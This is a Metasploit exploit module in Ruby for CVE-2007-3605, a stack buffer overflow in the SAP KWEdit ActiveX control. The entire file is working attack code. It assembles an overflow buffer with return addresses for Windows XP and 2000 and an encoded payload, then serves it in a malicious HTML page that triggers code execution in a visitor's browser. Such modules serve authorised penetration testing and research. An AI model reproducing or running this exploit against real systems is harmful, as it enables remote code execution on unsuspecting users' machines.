91 lines
2.4 KiB
Ruby
91 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'EnjoySAP SAP GUI ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in SAP KWEdit ActiveX
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Control (kwedit.dll 6400.1.1.41) provided by EnjoySAP GUI. By sending
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an overly long string to the "PrepareToPostHTML()" method, an attacker
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may be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'References' =>
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[
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[ 'CVE', '2007-3605' ],
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[ 'OSVDB', '37690' ],
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[ 'BID', '24772' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
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[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
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],
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'DisclosureDate' => 'Jul 05 2007',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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# Build the exploit buffer
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sploit = rand_text_alpha(1036) + Rex::Arch::X86.jmp_short(6)
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sploit << make_nops(2) + [target.ret].pack('V') + p.encoded
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# Build out the message
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content = %Q|<html>
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<object classid='clsid:2137278D-EF5C-11D3-96CE-0004AC965257' id='#{vname}' /></object>
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<script language='javascript'>
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#{strname} = new String('#{sploit}')
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#{vname}.PrepareToPostHTML(#{strname})
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</script>
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</html>
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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